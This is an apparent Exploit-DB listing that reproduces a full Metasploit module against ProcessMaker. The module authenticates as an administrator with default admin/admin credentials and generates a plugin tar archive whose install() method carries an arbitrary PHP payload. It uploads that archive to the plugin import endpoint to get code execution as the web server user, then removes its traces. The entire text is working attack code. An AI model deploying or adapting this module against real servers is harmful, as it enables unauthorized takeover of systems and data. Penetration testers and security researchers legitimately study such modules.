ProcessMaker - Plugin Upload (Metasploit)

EDB-ID:

44399

CVE:

N/A




Platform:

PHP

Date:

2018-04-04


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ProcessMaker Plugin Upload',
      'Description'    => %q{
        This module will generate and upload a plugin to ProcessMaker
        resulting in execution of PHP code as the web server user.

        Credentials for a valid user account with Administrator roles
        is required to run this module.

        This module has been tested successfully on ProcessMaker versions
        1.6-4276, 2.0.23, 3.0 RC 1, 3.2.0, 3.2.1 on Windows 7 SP 1;
        and version 3.2.0 on Debian Linux 8.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'Brendan Coles <bcoles[at]gmail.com>',
      'References'     =>
        [
          ['URL', 'http://wiki.processmaker.com/3.0/Plugin_Development']
        ],
      'Payload'        => { 'Space' => 20000 },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic Targeting', {} ]],
      'Privileged'     => false,
      'DisclosureDate' => 'Aug 25 2010',
      'DefaultTarget'  => 0))
    register_options(
      [
        OptString.new('USERNAME', [true, 'The username for ProcessMaker', 'admin']),
        OptString.new('PASSWORD', [true, 'The password for ProcessMaker', 'admin']),
        OptString.new('WORKSPACE', [true, 'The ProcessMaker workspace', 'workflow'])
      ])
  end

  def login(user, pass)
    vars_post = Hash[{
      'form[USR_USERNAME]' => Rex::Text.uri_encode(user, 'hex-normal'),
      'form[USR_PASSWORD]' => Rex::Text.uri_encode(pass, 'hex-normal')
    }.to_a.shuffle]

    print_status "Authenticating as user '#{user}'"
    uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/login/authentication.php"
    res = send_request_cgi 'method'    => 'POST',
                           'uri'       => uri,
                           'cookie'    => @cookie,
                           'vars_post' => vars_post

    if !res
      fail_with Failure::Unreachable, 'Connection failed'
    elsif res.code == 200 && res.body =~ /Loading styles and images/
      # ProcessMaker 2.x and 3.x
      print_good "#{peer} Authenticated as user '#{user}'"
    elsif res.code == 302 && res.headers['location'] =~ /(cases|processes)/
      # ProcessMaker 1.x
      print_good "#{peer} Authenticated as user '#{user}'"
    else
      fail_with Failure::NoAccess, "#{peer} - Authentication failed"
    end
  end

  def upload_plugin plugin_name
    data = generate_plugin plugin_name

    print_status "#{peer} Uploading plugin '#{plugin_name}' (#{data.length} bytes)"

    # ProcessMaker 1.x requires "-" after the plugin name in the file name
    fname = "#{plugin_name}-.tar"

    boundary = "----WebKitFormBoundary#{rand_text_alphanumeric rand(10) + 5}"
    post_data = "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"__notValidateThisFields__\"\r\n"
    post_data << "\r\n\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"DynaformRequiredFields\"\r\n"
    post_data << "\r\n[]\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"form[PLUGIN_FILENAME]\"; filename=\"#{fname}\"\r\n"
    post_data << "Content-Type: application/x-tar\r\n"
    post_data << "\r\n#{data}\r\n"
    post_data << "--#{boundary}\r\n"

    uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/setup/pluginsImportFile"
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => uri,
      'ctype'  => "multipart/form-data; boundary=#{boundary}",
      'cookie' => @cookie,
      'data'   => post_data
    }, 5)

    # Installation spawns a shell, preventing a HTTP response.
    # If a response is received, something probably went wrong.
    if res
      if res.headers['location'] =~ /login/
        fail_with Failure::NoAccess, 'Administrator privileges are required'
      else
        print_warning "#{peer} Unexpected reply"
      end
    end
  end

  def delete_plugin(plugin_name)
    uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/setup/pluginsRemove"
    send_request_cgi({
      'method'    => 'POST',
      'uri'       => uri,
      'cookie'    => @cookie,
      'vars_post' => { 'pluginUid' => plugin_name }
    }, 5)
  end

  def generate_plugin(plugin_name)
    plugin_class = %Q|<?php
      class #{plugin_name}Class extends PMPlugin {
        function __construct() {
          set_include_path(
            PATH_PLUGINS . '#{plugin_name}' . PATH_SEPARATOR .
            get_include_path()
          );
        }
      }
    |

    plugin_php = %Q|<?php
      G::LoadClass("plugin");

      class #{plugin_name}Plugin extends PMPlugin
      {
        public function #{plugin_name}Plugin($sNamespace, $sFilename = null)
        {
          $res = parent::PMPlugin($sNamespace, $sFilename);
          $this->sFriendlyName = "#{plugin_name}";
          $this->sDescription  = "#{plugin_name}";
          $this->sPluginFolder = "#{plugin_name}";
          $this->sSetupPage    = "setup";
          $this->iVersion      = 1;
          $this->aWorkspaces   = null;
          return $res;
        }
        public function setup() {}
        public function install() { #{payload.encoded} }
        public function enable() {}
        public function disable() {}
      }

      $oPluginRegistry =& PMPluginRegistry::getSingleton();
      $oPluginRegistry->registerPlugin('#{plugin_name}', __FILE__);
    |

    tarfile = StringIO.new
    Rex::Tar::Writer.new tarfile do |tar|
      tar.add_file "#{plugin_name}.php", 0777 do |io|
        io.write plugin_php
      end
      tar.add_file "#{plugin_name}/class.#{plugin_name}.php", 0777 do |io|
        io.write plugin_class
      end
    end
    tarfile.rewind
    tarfile.read
  end

  def cleanup
    delete_plugin @plugin_name
  end

  def exploit
    @workspace = datastore['WORKSPACE']

    @cookie = "PHPSESSID=#{rand_text_alphanumeric rand(10) + 10};"
    login datastore['USERNAME'], datastore['PASSWORD']

    @plugin_name = rand_text_alpha rand(10) + 10
    upload_dir = "../../shared/sites/#{@workspace}/files/input/"
    register_file_for_cleanup "#{upload_dir}#{@plugin_name}-.tar"
    register_file_for_cleanup "#{upload_dir}#{@plugin_name}.php"
    register_file_for_cleanup "#{upload_dir}#{@plugin_name}/class.#{@plugin_name}.php"
    register_dir_for_cleanup "#{upload_dir}#{@plugin_name}"

    upload_plugin @plugin_name
  end
end